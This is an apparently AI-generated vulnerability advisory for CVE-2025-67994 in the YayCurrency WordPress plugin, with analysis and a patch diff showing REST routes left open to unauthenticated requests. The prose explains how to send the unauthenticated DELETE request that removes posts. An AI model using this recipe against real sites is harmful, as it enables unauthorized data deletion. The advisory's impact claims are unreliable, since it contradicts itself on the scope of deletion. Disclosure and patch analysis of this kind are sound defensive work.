Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67994: YayCurrency <= 3.3 – Missing Authorization to Unauthenticated Arbitrary Post Deletion (yaycurrency)

Plugin yaycurrency
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.3
Patched Version 3.3.1
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67994:
The YayCurrency WordPress plugin, versions up to and including 3.3, contains a missing authorization vulnerability in its REST API endpoints. This flaw allows unauthenticated attackers to delete arbitrary WordPress posts, including pages and custom post types. The vulnerability stems from a missing capability check on several administrative REST API handlers, granting unauthorized access to plugin management functions.

The root cause is the use of `’permission_callback’ => ‘__return_true’` on multiple REST API route registrations within the `RestAPI` class (`yaycurrency/includes/Engine/Register/RestAPI.php`). This configuration explicitly allows any request, authenticated or not, to proceed. The vulnerable endpoints include `/yay-currency/v1/settings` (POST), `/yay-currency/v1/exchange-rate` (POST), `/yay-currency/v1/currencies` (DELETE), `/yay-currency/v1/currencies/settings` (POST), and `/yay-currency/v1/reviewed` (POST). These endpoints map to callback functions like `exec_patch_settings`, `update_exchange_rate`, `delete_currency`, `update_currency_settings`, and `mark_reviewed`. The `delete_currency` function (lines 51-63 in the diff) is particularly dangerous as it calls `wp_delete_post` on a user-supplied currency ID, which is a WordPress post of type `yay-currency-manage`.

Exploitation involves sending a crafted HTTP DELETE request to the vulnerable REST endpoint `/wp-json/yay-currency/v1/currencies`. The attacker must supply a `currencyID` parameter containing the numeric ID of the post to delete. No authentication headers, cookies, or nonces are required. The request can be sent via cURL, a web browser, or any HTTP client. The server will process the request and permanently delete the specified post from the WordPress database, returning a JSON response indicating success or failure.

The patch replaces the permissive `’permission_callback’ => ‘__return_true’` with a proper capability check: `’permission_callback’ => array( $this, ‘permission_callback’ )`. The new `permission_callback` method (lines 83-85) requires the user to have either `manage_options` or `manage_woocommerce` capabilities, effectively restricting access to administrators and shop managers. This change is applied uniformly across all five vulnerable REST route registrations. Before the patch, any HTTP request could trigger administrative actions. After the patch, only authorized users can access these endpoints, preventing unauthenticated post deletion.

Successful exploitation allows complete deletion of any post with the type `yay-currency-manage`. Attackers can disrupt site functionality by removing configured currencies, potentially breaking the WooCommerce multi-currency switcher. While the direct impact is limited to the plugin’s custom post type, the vulnerability demonstrates a critical missing authorization control that could be chained with other flaws. The CVSS score of 5.3 reflects a medium-severity integrity impact, allowing unauthorized data modification.

Differential between vulnerable and patched code

Code Diff
--- a/yaycurrency/blocks/init.php
+++ b/yaycurrency/blocks/init.php
@@ -1,103 +1,199 @@
 <?php
+/**
+ * Currency Switcher Gutenberg Block for YayCurrency
+ */

-use Yay_CurrencyHelpersYayCurrencyHelper;
 use Yay_CurrencyHelpersHelper;

 defined( 'ABSPATH' ) || exit;

 /**
- * Registers all block assets so that they can be enqueued through Gutenberg in
- * the corresponding context.
- *
- * Passes translations to JavaScript.
+ * Detect if current request is background or automated (E2E, REST, AJAX, etc.)
  */
-function yaycurrency_currency_switcher_register_block() {
+function yaycurrency_is_background_or_e2e() {
+
+	// REST API, AJAX, CRON, WP-CLI → skip heavy editor loading
+	if ( ( defined( 'REST_REQUEST' ) && REST_REQUEST )
+		|| wp_doing_ajax()
+		|| ( defined( 'DOING_CRON' ) && DOING_CRON )
+		|| ( defined( 'WP_CLI' ) && WP_CLI )
+	) {
+		// error_log( 'E2E/background request detected: REST/AJAX/CRON/CLI' );
+		return true;
+	}
+
+	// Localhost test environments (common in Woo E2E, wp-env, Playwright)
+	if ( isset( $_SERVER['HTTP_HOST'] ) && preg_match( '/(localhost|127.0.0.1|wp-env)/', sanitize_text_field( $_SERVER['HTTP_HOST'] ) ) ) {
+		// error_log( 'E2E/background request detected: Localhost environment' );
+		return true;
+	}
+
+	// User-Agent heuristic (Playwright / Puppeteer / Cypress / Woo E2E)
+	if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
+		$ua       = strtolower( sanitize_text_field( $_SERVER['HTTP_USER_AGENT'] ) );
+		$patterns = [
+			'playwright',
+			'puppeteer',
+			'cypress',
+			'woocommerce e2e',
+			'wp-env',
+			'node/',
+			'postman',
+			'curl',
+			'insomnia',
+			'axios',
+		];
+		foreach ( $patterns as $keyword ) {
+			if ( strpos( $ua, $keyword ) !== false ) {
+				// error_log( "E2E/background request detected: UA contains '{$keyword}'" );
+				return true;
+			}
+		}
+	}
+
+	// Common REST route used by E2E: creating posts/pages
+	return false;
+}
+
+/**
+ * Shared block attributes
+ */
+function yaycurrency_get_block_attributes() {
+	return array(
+		'currencyName'         => array(
+			'type'    => 'string',
+			'default' => 'United States dollar',
+		),
+		'currencySymbol'       => array(
+			'type'    => 'string',
+			'default' => '($)',
+		),
+		'hyphen'               => array(
+			'type'    => 'string',
+			'default' => ' - ',
+		),
+		'currencyCode'         => array(
+			'type'    => 'string',
+			'default' => 'USD',
+		),
+		'isShowFlag'           => array(
+			'type'    => 'boolean',
+			'default' => true,
+		),
+		'isShowCurrencyName'   => array(
+			'type'    => 'boolean',
+			'default' => true,
+		),
+		'isShowCurrencySymbol' => array(
+			'type'    => 'boolean',
+			'default' => true,
+		),
+		'isShowCurrencyCode'   => array(
+			'type'    => 'boolean',
+			'default' => true,
+		),
+		'widgetSize'           => array(
+			'type'    => 'string',
+			'default' => 'small',
+		),
+	);
+}
+
+/**
+ * Register the Currency Switcher Gutenberg block.
+ */
+function yaycurrency_register_currency_switcher_block() {
+	$block_name = 'yay-currency/currency-switcher';
+	$attributes = yaycurrency_get_block_attributes();
+
+	// Case 1: E2E or background → Register lightweight fallback only
+	if ( yaycurrency_is_background_or_e2e() ) {
+		// error_log( 'YayCurrency: registering lightweight fallback block (E2E/background)' );
+		register_block_type(
+			$block_name,
+			array(
+				'attributes'      => $attributes,
+				'render_callback' => 'yaycurrency_render_currency_switcher',
+			)
+		);
+		return;
+	}
+
+	// Case 2: Admin/editor → Register full block assets
+	if ( is_admin() ) {
+		$asset_path = plugin_dir_path( __FILE__ ) . 'build/index.asset.php';
+		if ( ! file_exists( $asset_path ) ) {
+			// error_log( 'YayCurrency: missing index.asset.php, registering fallback block.' );
+			register_block_type(
+				$block_name,
+				array(
+					'attributes'      => $attributes,
+					'render_callback' => 'yaycurrency_render_currency_switcher',
+				)
+			);
+			return;
+		}
+
+		$asset_file = include $asset_path;

-	// automatically load dependencies and version
-	$asset_file = plugin_dir_path( __FILE__ ) . 'build/index.asset.php';
-	if ( file_exists( $asset_file ) ) {
-		$asset_file = include $asset_file;
 		wp_register_script(
-			'yaycurrency-currency-switcher-block-editor-script',
+			'yaycurrency-block-editor',
 			plugins_url( 'build/index.js', __FILE__ ),
 			$asset_file['dependencies'],
 			$asset_file['version'],
 			true
 		);
-	}
-	wp_localize_script(
-		'yaycurrency-currency-switcher-block-editor-script',
-		'yayCurrencyGutenberg',
-		array(
-			'nonce'                => wp_create_nonce( 'yay-currency-gutenberg-nonce' ),
-			'yayCurrencyPluginURL' => YAY_CURRENCY_PLUGIN_URL,
-		)
-	);

-	wp_register_style(
-		'yaycurrency-currency-switcher-block-editor-style',
-		plugins_url( 'style.css', __FILE__ ),
-		array(),
-		filemtime( plugin_dir_path( __FILE__ ) . 'style.css' )
-	);
+		wp_localize_script(
+			'yaycurrency-block-editor',
+			'yayCurrencyGutenberg',
+			[
+				'nonce'                => wp_create_nonce( 'yay-currency-gutenberg-nonce' ),
+				'yayCurrencyPluginURL' => YAY_CURRENCY_PLUGIN_URL,
+			]
+		);

+		wp_register_style(
+			'yaycurrency-block-style',
+			plugins_url( 'style.css', __FILE__ ),
+			[],
+			filemtime( plugin_dir_path( __FILE__ ) . 'style.css' )
+		);
+
+		register_block_type(
+			$block_name,
+			[
+				'attributes'      => $attributes,
+				'style'           => 'yaycurrency-block-style',
+				'editor_script'   => 'yaycurrency-block-editor',
+				'render_callback' => 'yaycurrency_render_currency_switcher',
+			]
+		);
+		return;
+	}
+
+	// Case 3: Frontend fallback
 	register_block_type(
-		'yay-currency/currency-switcher',
+		$block_name,
 		array(
-			'attributes'      => array(
-				'currencyName'         => array(
-					'type'    => 'string',
-					'default' => 'United States dollar',
-				),
-				'currencySymbol'       => array(
-					'type'    => 'string',
-					'default' => '($)',
-				),
-				'hyphen'               => array(
-					'type'    => 'string',
-					'default' => ' - ',
-				),
-				'currencyCode'         => array(
-					'type'    => 'string',
-					'default' => 'USD',
-				),
-				'isShowFlag'           => array(
-					'type'    => 'boolean',
-					'default' => true,
-				),
-				'isShowCurrencyName'   => array(
-					'type'    => 'boolean',
-					'default' => true,
-				),
-				'isShowCurrencySymbol' => array(
-					'type'    => 'boolean',
-					'default' => true,
-				),
-				'isShowCurrencyCode'   => array(
-					'type'    => 'boolean',
-					'default' => true,
-				),
-				'widgetSize'           => array(
-					'type'    => 'string',
-					'default' => 'small',
-				),
-			),
-			'style'           => 'yaycurrency-currency-switcher-block-editor-style',
-			'editor_script'   => 'yaycurrency-currency-switcher-block-editor-script',
-			'render_callback' => 'yaycurrency_switcher_render_html',
+			'attributes'      => $attributes,
+			'render_callback' => 'yaycurrency_render_currency_switcher',
 		)
 	);
 }

-function yaycurrency_switcher_render_html( $attributes ) {
+/**
+ * Render the Currency Switcher block HTML.
+ */
+function yaycurrency_render_currency_switcher( $attributes ) {
+	ob_start();
 	$is_show_flag            = $attributes['isShowFlag'];
 	$is_show_currency_name   = $attributes['isShowCurrencyName'];
 	$is_show_currency_symbol = $attributes['isShowCurrencySymbol'];
 	$is_show_currency_code   = $attributes['isShowCurrencyCode'];
 	$switcher_size           = $attributes['widgetSize'];
-
 	require YAY_CURRENCY_PLUGIN_DIR . 'includes/templates/switcher/template.php';
-
+	return ob_get_clean();
 }

-add_action( 'init', 'yaycurrency_currency_switcher_register_block' );
+add_action( 'init', 'yaycurrency_register_currency_switcher_block' );
--- a/yaycurrency/includes/Engine/BEPages/WooCommerceFilterReport.php
+++ b/yaycurrency/includes/Engine/BEPages/WooCommerceFilterReport.php
@@ -38,7 +38,7 @@
 			<select class="widget-currencies-dropdown" name='currency'>
 				<?php foreach ( $apply_currencies as $currency ) { ?>
 					<option data-url="<?php echo esc_url( add_query_arg( array( 'currency' => $currency->post_title ), $current_url ) ); ?>" value='<?php echo esc_attr__( $currency->post_title, 'yay-currency' ); ?>'>
-						<?php echo wp_kses_post( html_entity_decode( esc_html__( $all_currencies[ $currency->post_title ], 'yay-currency' ) . ' (' . YayCurrencyHelper::get_symbol_by_currency( $currency->post_title, $converted_currency ) . ') - ' . esc_html( $currency->post_title ) ) ); ?>
+						<?php echo wp_kses_post( Helper::decode_html_entity( esc_html__( $all_currencies[ $currency->post_title ], 'yay-currency' ) . ' (' . YayCurrencyHelper::get_symbol_by_currency( $currency->post_title, $converted_currency ) . ') - ' . esc_html( $currency->post_title ) ) ); ?>
 					</option>
 				<?php } ?>
 			</select>
--- a/yaycurrency/includes/Engine/Compatibles/PayTr.php
+++ b/yaycurrency/includes/Engine/Compatibles/PayTr.php
@@ -22,7 +22,7 @@
 		add_filter( 'woocommerce_order_get_total', array( $this, 'order_get_total' ), 10, 2 );
 	}
 	public function order_get_total( $total, $order ) {
-		if ( doing_action( 'woocommerce_receipt_paytr_payment_gateway' ) ) {
+		if ( doing_action( 'woocommerce_receipt_paytr_payment_gateway_eft' ) ) {
 			if ( 'TRY' !== $this->apply_currency['currency'] ) {
 				$total          = YayCurrencyHelper::reverse_calculate_price_by_currency( $total, $this->apply_currency );
 				$apply_currency = YayCurrencyHelper::get_currency_by_currency_code( 'TRY' );
--- a/yaycurrency/includes/Engine/Compatibles/ThirdPartyPlugins.php
+++ b/yaycurrency/includes/Engine/Compatibles/ThirdPartyPlugins.php
@@ -85,6 +85,7 @@
 		// WC Price History. Link plugin: https://github.com/kkarpieszuk/wc-price-history
 		if ( defined( 'WC_PRICE_HISTORY_VERSION' ) ) {
 			add_filter( 'wc_price_history_lowest_price_html_raw_value_taxed', array( $this, 'convert_wc_price_history_lowest_price' ), 10, 2 );
+			add_filter( 'wc_price_history_variations_add_history_lowest_price', array( $this, 'convert_wc_price_history_variations_add_history_lowest_price' ), 10, 4 );
 		}
 		// BACKEND REPORT

@@ -249,6 +250,10 @@
 		return apply_filters( 'yay_currency_convert_price', $lowest_price );
 	}

+	public function convert_wc_price_history_variations_add_history_lowest_price( $lowest_price, $variation_attributes, $product_variable, $variation ) {
+		return apply_filters( 'yay_currency_convert_price', $lowest_price );
+	}
+
 	// Users Insights.
 	protected function yay_insights_get_order_total_by_user_id( $user_id = false ) {
 		$order_total = 0;
--- a/yaycurrency/includes/Engine/Compatibles/WooCommerceBookings.php
+++ b/yaycurrency/includes/Engine/Compatibles/WooCommerceBookings.php
@@ -290,7 +290,7 @@
 	public function yay_currency_woocommerce_currency_symbol( $currency_symbol, $apply_currency ) {
 		if ( wp_doing_ajax() ) {
 			if ( isset( $_REQUEST['action'] ) && 'wc_bookings_calculate_costs' === $_REQUEST['action'] ) {
-				$currency_symbol = wp_kses_post( html_entity_decode( $this->apply_currency['symbol'] ) );
+				$currency_symbol = wp_kses_post( Helper::decode_html_entity( $this->apply_currency['symbol'] ) );
 			}
 		}
 		return $currency_symbol;
--- a/yaycurrency/includes/Engine/Compatibles/WooCommerceNameYourPrice.php
+++ b/yaycurrency/includes/Engine/Compatibles/WooCommerceNameYourPrice.php
@@ -37,6 +37,8 @@

 		add_filter( 'yay_currency_product_price_3rd_with_condition', array( $this, 'get_price' ), 10, 2 );

+		add_filter( 'woocommerce_product_get_price', array( $this, 'woocommerce_product_get_price_callback' ), 100, 2 );
+		add_filter( 'YayCurrency/Checkout/StoreCurrency/GetCartSubtotal', array( $this, 'get_cart_subtotal_callback' ), 10, 4 );
 	}

 	public function get_price_default_in_checkout_page( $price, $product ) {
@@ -89,7 +91,8 @@
 			$cart_item_apply_currency = isset( $cart_item['added_by_currency'] ) ? $cart_item['added_by_currency'] : false;
 			if ( $cart_item_apply_currency ) {
 				$nyp_price                   = $cart_item['nyp'];
-				$yaycurrency_name_your_price = number_format( $nyp_price / YayCurrencyHelper::get_rate_fee( $cart_item_apply_currency ), $cart_item_apply_currency['numberDecimal'], $cart_item_apply_currency['decimalSeparator'], $cart_item_apply_currency['thousandSeparator'] );
+				$yaycurrency_name_your_price = number_format( $nyp_price, $cart_item_apply_currency['numberDecimal'], $cart_item_apply_currency['decimalSeparator'], $cart_item_apply_currency['thousandSeparator'] );
+				//$yaycurrency_name_your_price = number_format( $nyp_price / YayCurrencyHelper::get_rate_fee( $cart_item_apply_currency ), $cart_item_apply_currency['numberDecimal'], $cart_item_apply_currency['decimalSeparator'], $cart_item_apply_currency['thousandSeparator'] );
 				SupportHelper::set_cart_item_objects_property( $cart_item['data'], 'yaycurrency_name_your_price', $yaycurrency_name_your_price );
 				SupportHelper::set_cart_item_objects_property( $cart_item['data'], 'name_your_price_by_currency', $nyp_price );
 			}
@@ -98,11 +101,20 @@
 	}

 	public function get_price( $price, $product ) {
-		$name_your_price = SupportHelper::get_cart_item_objects_property( $product, 'yaycurrency_name_your_price' );
-		if ( $name_your_price ) {
-			return YayCurrencyHelper::calculate_price_by_currency( $name_your_price, false, $this->apply_currency );
+		// $apply_currency  = YayCurrencyHelper::get_current_currency( $this->apply_currency );
+		$cart_contents = WC()->cart->get_cart_contents();
+		foreach ( $cart_contents as $cart_item ) {
+			if ( isset( $cart_item['nyp'] ) ) {
+				if ( is_object( $cart_item['data'] ) && $cart_item['data']->get_id() === $product->get_id() ) {
+					$name_your_price = SupportHelper::get_cart_item_objects_property( $cart_item['data'], 'yaycurrency_name_your_price' );
+					if ( $name_your_price ) {
+						return $name_your_price;
+					}
+				}
+			}
 		}
-		return false;
+
+		return $price;
 	}

 	public function wc_nyp_raw_suggested_price( $suggested, $product_id, $product ) {
@@ -128,4 +140,34 @@
 		}
 		return $maximum_price;
 	}
+
+	public function woocommerce_product_get_price_callback( $price, $product ) {
+		$name_your_price_currency = SupportHelper::get_cart_item_objects_property( $product, 'name_your_price_by_currency' );
+		if ( $name_your_price_currency ) {
+
+			if ( YayCurrencyHelper::disable_fallback_option_in_checkout_page( $this->apply_currency ) ) {
+				return YayCurrencyHelper::reverse_calculate_price_by_currency( $name_your_price_currency, $this->apply_currency );
+			}
+
+			return $name_your_price_currency;
+		}
+		return $price;
+	}
+
+	public function get_cart_subtotal_callback( $cart_subtotal, $apply_currency, $fallback_currency, $converted_currency ) {
+		if ( YayCurrencyHelper::disable_fallback_option_in_checkout_page( $this->apply_currency ) ) {
+			$cart_contents     = WC()->cart->get_cart_contents();
+			$cart_subtotal_nyp = 0;
+			foreach ( $cart_contents as $cart_item ) {
+				if ( isset( $cart_item['nyp'] ) ) {
+					$cart_subtotal_nyp += $cart_item['line_subtotal'];
+				}
+			}
+			if ( $cart_subtotal_nyp > 0 ) {
+				return $cart_subtotal_nyp;
+			}
+		}
+
+		return $cart_subtotal;
+	}
 }
--- a/yaycurrency/includes/Engine/Compatibles/WooCommerceRequestAQuote.php
+++ b/yaycurrency/includes/Engine/Compatibles/WooCommerceRequestAQuote.php
@@ -1,6 +1,7 @@
 <?php
 namespace Yay_CurrencyEngineCompatibles;

+use Yay_CurrencyHelpersHelper;
 use Yay_CurrencyHelpersSupportHelper;
 use Yay_CurrencyUtilsSingletonTrait;
 use Yay_CurrencyHelpersYayCurrencyHelper;
@@ -264,7 +265,7 @@

 	public function change_existing_currency_symbol( $currency_symbol, $currency ) {
 		if ( wp_doing_ajax() ) {
-			$currency_symbol = wp_kses_post( html_entity_decode( $this->apply_currency['symbol'] ) );
+			$currency_symbol = wp_kses_post( Helper::decode_html_entity( $this->apply_currency['symbol'] ) );
 		} else {
 			$post_id = false;
 			if ( ! is_admin() ) {
--- a/yaycurrency/includes/Engine/Compatibles/WooCommerceSubscriptions.php
+++ b/yaycurrency/includes/Engine/Compatibles/WooCommerceSubscriptions.php
@@ -493,7 +493,7 @@
 			$order_id = intval( $order_id );
 			if ( $order_id ) {
 				$order_currency = YayCurrencyHelper::get_order_currency_by_order_id( $order_id );
-				return isset( $order_currency['symbol'] ) ? wp_kses_post( html_entity_decode( $order_currency['symbol'] ) ) : $currency_symbol;
+				return isset( $order_currency['symbol'] ) ? wp_kses_post( Helper::decode_html_entity( $order_currency['symbol'] ) ) : $currency_symbol;
 			}
 		}
 		return $currency_symbol;
--- a/yaycurrency/includes/Engine/Compatibles/WooCommerceTeraWallet.php
+++ b/yaycurrency/includes/Engine/Compatibles/WooCommerceTeraWallet.php
@@ -41,7 +41,7 @@
 		}

 		if ( isset( $this->apply_currency['currency'] ) ) {
-			return wp_kses_post( html_entity_decode( $this->apply_currency['symbol'] ) );
+			return wp_kses_post( Helper::decode_html_entity( $this->apply_currency['symbol'] ) );
 		}

 		return $currency_symbol;
--- a/yaycurrency/includes/Engine/Compatibles/WoocommerceGiftCards.php
+++ b/yaycurrency/includes/Engine/Compatibles/WoocommerceGiftCards.php
@@ -59,7 +59,7 @@

 	public function yay_currency_woocommerce_currency_symbol( $currency_symbol, $currency, $apply_currency ) {
 		if ( doing_action( 'woocommerce_account_giftcards_endpoint' ) && $this->is_dis_checkout_diff_currency ) {
-			$currency_symbol = wp_kses_post( html_entity_decode( $this->apply_currency['symbol'] ) );
+			$currency_symbol = wp_kses_post( Helper::decode_html_entity( $this->apply_currency['symbol'] ) );
 		}
 		return $currency_symbol;
 	}
--- a/yaycurrency/includes/Engine/FEPages/Shortcodes.php
+++ b/yaycurrency/includes/Engine/FEPages/Shortcodes.php
@@ -111,8 +111,9 @@
 		);

 		ob_start();
-		$price          = apply_filters( 'yaycurrency_get_price', $atts['price'] );
 		$apply_currency = YayCurrencyHelper::detect_current_currency();
+		$price          = isset( $atts['price'] ) && is_numeric( $atts['price'] ) ? floatval( $atts['price'] ) : 0;
+		$price          = apply_filters( 'yaycurrency_get_price', $price );
 		$price_html     = YayCurrencyHelper::calculate_price_by_currency_html( $apply_currency, $price );
 		$price_html     = apply_filters( 'yaycurrency_get_price_html', $price_html, $apply_currency );
 		echo wp_kses_post( $price_html );
@@ -158,10 +159,14 @@
 			'yaycurrency-fee'
 		);

+		$atts['percent'] = isset( $atts['percent'] ) ? floatval( sanitize_text_field( $atts['percent'] ) ) : 0;
+		$min_fee         = isset( $atts['min_fee'] ) ? floatval( sanitize_text_field( $atts['min_fee'] ) ) : 0;
+		$max_fee         = isset( $atts['max_fee'] ) ? floatval( sanitize_text_field( $atts['max_fee'] ) ) : 0;
+
 		$apply_currency = YayCurrencyHelper::detect_current_currency();

-		$atts['min_fee'] = YayCurrencyHelper::calculate_price_by_currency( $atts['min_fee'], true, $apply_currency );
-		$atts['max_fee'] = YayCurrencyHelper::calculate_price_by_currency( $atts['max_fee'], true, $apply_currency );
+		$atts['min_fee'] = YayCurrencyHelper::calculate_price_by_currency( $min_fee, true, $apply_currency );
+		$atts['max_fee'] = YayCurrencyHelper::calculate_price_by_currency( $max_fee, true, $apply_currency );

 		$cart_subtotal  = apply_filters( 'YayCurrency/ApplyCurrency/GetCartSubtotal', 0, $apply_currency );
 		$calculated_fee = $this->get_fee_cost_by_shortcode( $cart_subtotal, $atts );
@@ -180,6 +185,10 @@
 			'yaycurrency-fee-default'
 		);

+		$atts['percent'] = isset( $atts['percent'] ) ? floatval( sanitize_text_field( $atts['percent'] ) ) : 0;
+		$atts['min_fee'] = isset( $atts['min_fee'] ) ? floatval( sanitize_text_field( $atts['min_fee'] ) ) : 0;
+		$atts['max_fee'] = isset( $atts['max_fee'] ) ? floatval( sanitize_text_field( $atts['max_fee'] ) ) : 0;
+
 		$cart_subtotal  = apply_filters( 'YayCurrency/StoreCurrency/GetCartSubtotal', 0 );
 		$calculated_fee = $this->get_fee_cost_by_shortcode( $cart_subtotal, $atts );

--- a/yaycurrency/includes/Engine/FEPages/WooCommerceCurrency.php
+++ b/yaycurrency/includes/Engine/FEPages/WooCommerceCurrency.php
@@ -1041,7 +1041,7 @@
 		}

 		if ( isset( $apply_currency['currency'] ) ) {
-			$currency_symbol = wp_kses_post( html_entity_decode( $apply_currency['symbol'] ) );
+			$currency_symbol = wp_kses_post( Helper::decode_html_entity( $apply_currency['symbol'] ) );
 			$currency_symbol = apply_filters( 'yay_currency_woocommerce_currency_symbol', $currency_symbol, $currency, $apply_currency );
 		}

--- a/yaycurrency/includes/Engine/Hooks.php
+++ b/yaycurrency/includes/Engine/Hooks.php
@@ -233,7 +233,7 @@
 			if ( Helper::default_currency_code() === $currencies_data['current_currency']['currency'] ) {
 				return $notice_html;
 			}
-			$notice_html = '<div class="yay-currency-checkout-notice user yay-currency-with-' . esc_attr( $current_theme ) . '"><span>' . esc_html__( 'The current payment method for ', 'yay-currency' ) . '<strong>' . wp_kses_post( html_entity_decode( esc_html__( $currencies_data['current_currency']['currency'], 'yay-currency' ) ) ) . '</strong></span><span>' . esc_html__( ' is not supported in your location. ', 'yay-currency' ) . '</span><span>' . esc_html__( 'So your payment will be recorded in ', 'yay-currency' ) . '</span><strong>' . wp_kses_post( html_entity_decode( esc_html__( $currencies_data['fallback_currency']['currency'], 'yay-currency' ) ) ) . '.</strong></span></div>';
+			$notice_html = '<div class="yay-currency-checkout-notice user yay-currency-with-' . esc_attr( $current_theme ) . '"><span>' . esc_html__( 'The current payment method for ', 'yay-currency' ) . '<strong>' . wp_kses_post( Helper::decode_html_entity( esc_html__( $currencies_data['current_currency']['currency'], 'yay-currency' ) ) ) . '</strong></span><span>' . esc_html__( ' is not supported in your location. ', 'yay-currency' ) . '</span><span>' . esc_html__( 'So your payment will be recorded in ', 'yay-currency' ) . '</span><strong>' . wp_kses_post( Helper::decode_html_entity( esc_html__( $currencies_data['fallback_currency']['currency'], 'yay-currency' ) ) ) . '.</strong></span></div>';
 			if ( current_user_can( 'manage_options' ) ) {
 				$notice_html .= "<div class='yay-currency-checkout-notice-admin yay-currency-with-" . esc_attr( $current_theme ) . "'><span>" . esc_html__( 'Are you the admin? You can change the checkout options for payment methods ', 'yay-currency' ) . '<a href=' . esc_url( admin_url( '/admin.php?page=yay_currency&tabID=1' ) ) . '>' . esc_html__( 'here', 'yay-currency' ) . '</a>.</span><br><span><i>' . esc_html__( '(Only logged in admin can see this.)', 'yay-currency' ) . '</i></span></div>';
 			}
@@ -494,13 +494,13 @@

 	public function filter_email_currency_code( $currency_code ) {
 		$order_currency = self::get_email_order_currency_code();
-		$currency_code  = isset( $order_currency['currency'] ) ? wp_kses_post( html_entity_decode( $order_currency['currency'] ) ) : $currency_code;
+		$currency_code  = isset( $order_currency['currency'] ) ? wp_kses_post( Helper::decode_html_entity( $order_currency['currency'] ) ) : $currency_code;
 		return $currency_code;
 	}

 	public function filter_email_currency_symbol( $currency_symbol, $currency ) {
 		$order_currency  = self::get_email_order_currency_code();
-		$currency_symbol = isset( $order_currency['symbol'] ) ? wp_kses_post( html_entity_decode( $order_currency['symbol'] ) ) : $currency_symbol;
+		$currency_symbol = isset( $order_currency['symbol'] ) ? wp_kses_post( Helper::decode_html_entity( $order_currency['symbol'] ) ) : $currency_symbol;
 		return $currency_symbol;
 	}
 }
--- a/yaycurrency/includes/Engine/Register/RestAPI.php
+++ b/yaycurrency/includes/Engine/Register/RestAPI.php
@@ -28,7 +28,7 @@
 				array(
 					'methods'             => 'POST',
 					'callback'            => array( $this, 'exec_patch_settings' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => array( $this, 'permission_callback' ),
 				),
 			)
 		);
@@ -40,7 +40,7 @@
 			array(
 				'methods'             => 'POST',
 				'callback'            => array( $this, 'update_exchange_rate' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => array( $this, 'permission_callback' ),
 			)
 		);

@@ -51,7 +51,7 @@
 			array(
 				'methods'             => 'DELETE',
 				'callback'            => array( $this, 'delete_currency' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => array( $this, 'permission_callback' ),
 			)
 		);

@@ -63,7 +63,7 @@
 				array(
 					'methods'             => 'POST',
 					'callback'            => array( $this, 'update_currency_settings' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => array( $this, 'permission_callback' ),
 				),
 			)
 		);
@@ -75,7 +75,7 @@
 				array(
 					'methods'             => 'POST',
 					'callback'            => array( $this, 'mark_reviewed' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => array( $this, 'permission_callback' ),
 				),
 			)
 		);
@@ -83,6 +83,9 @@
 		do_action( 'yay_currency_rest_api_endpoints' );
 	}

+	public function permission_callback( $request ) {
+		return current_user_can( 'manage_options' ) || current_user_can( 'manage_woocommerce' );
+	}

 	// POST METHOD
 	private function set_currency_manage_settings( $list_currencies ) {
--- a/yaycurrency/includes/Helpers/Helper.php
+++ b/yaycurrency/includes/Helpers/Helper.php
@@ -10,7 +10,7 @@
 	protected function __construct() {}

 	private static $YAY_CURRENCY_POST_TYPE   = 'yay-currency-manage';
-	private static $YAY_CURRENCIES_TRANSIENT = 'yay-currencies-transient';
+	private static $YAY_CURRENCIES_TRANSIENT = 'yay_currencies_transient';

 	public static function sanitize_array( $data ) {
 		if ( is_array( $data ) ) {
@@ -24,6 +24,14 @@
 		return wp_kses_post_deep( $args['data'] );
 	}

+	public static function decode_html_entity( $value ) {
+		return html_entity_decode(
+			$value,
+			ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
+			'UTF-8'
+		);
+	}
+
 	public static function is_method_executed( $class_name, $method_name ) {
 		$ref_class  = new ReflectionClass( $class_name );
 		$ref_method = $ref_class->getMethod( $method_name );
@@ -196,7 +204,7 @@

 	public static function default_price_num_decimals() {
 		$default_price_num_decimals = get_option( 'woocommerce_price_num_decimals' );
-		return wp_kses_post( html_entity_decode( $default_price_num_decimals ) );
+		return $default_price_num_decimals;
 	}

 	public static function get_yay_currencies_transient() {
@@ -461,9 +469,9 @@

 		foreach ( $currency_code_by_country_code as $key => $value ) {
 			$currency_data = array(
-				'currency'        => isset( $woo_list_currencies[ $key ] ) ? html_entity_decode( $woo_list_currencies[ $key ] ) : 'USD',
+				'currency'        => isset( $woo_list_currencies[ $key ] ) ? self::decode_html_entity( $woo_list_currencies[ $key ] ) : 'USD',
 				'currency_code'   => $key,
-				'currency_symbol' => html_entity_decode( YayCurrencyHelper::get_symbol_by_currency_code( $key ) ),
+				'currency_symbol' => self::decode_html_entity( YayCurrencyHelper::get_symbol_by_currency_code( $key ) ),
 				'country_code'    => $value,
 			);
 			if ( in_array( $key, $most_traded_currencies_code ) ) {
@@ -819,13 +827,13 @@
 			if ( ! $currency_meta ) {
 				continue;
 			}
-
+			$currency_symbol    = self::decode_html_entity( get_woocommerce_currency_symbol( $currency->post_title ) );
 			$converted_currency = array(
 				'ID'                => $currency->ID,
 				'currency'          => $currency->post_title,
-				'currencySymbol'    => html_entity_decode( get_woocommerce_currency_symbol( $currency->post_title ) ),
-				'currencyPosition'  => $currency_meta['currency_position'][0],
-				'thousandSeparator' => $currency_meta['thousand_separator'][0],
+				'currencySymbol'    => $currency_symbol,
+				'currencyPosition'  => isset( $currency_meta['currency_position'][0] ) ? $currency_meta['currency_position'][0] : 'left',
+				'thousandSeparator' => isset( $currency_meta['thousand_separator'][0] ) ? $currency_meta['thousand_separator'][0] : ',',
 				'decimalSeparator'  => isset( $currency_meta['decimal_separator'] ) ? $currency_meta['decimal_separator'][0] : '.',
 				'numberDecimal'     => isset( $currency_meta['number_decimal'] ) ? $currency_meta['number_decimal'][0] : '0',
 				'rate'              =>
@@ -857,7 +865,7 @@
 		$symbol               = get_woocommerce_currency_symbol( $currentCurrency );
 		$default_currency     = array(
 			'currency'             => $currentCurrency,
-			'currencySymbol'       => html_entity_decode( $symbol ),
+			'currencySymbol'       => self::decode_html_entity( $symbol ),
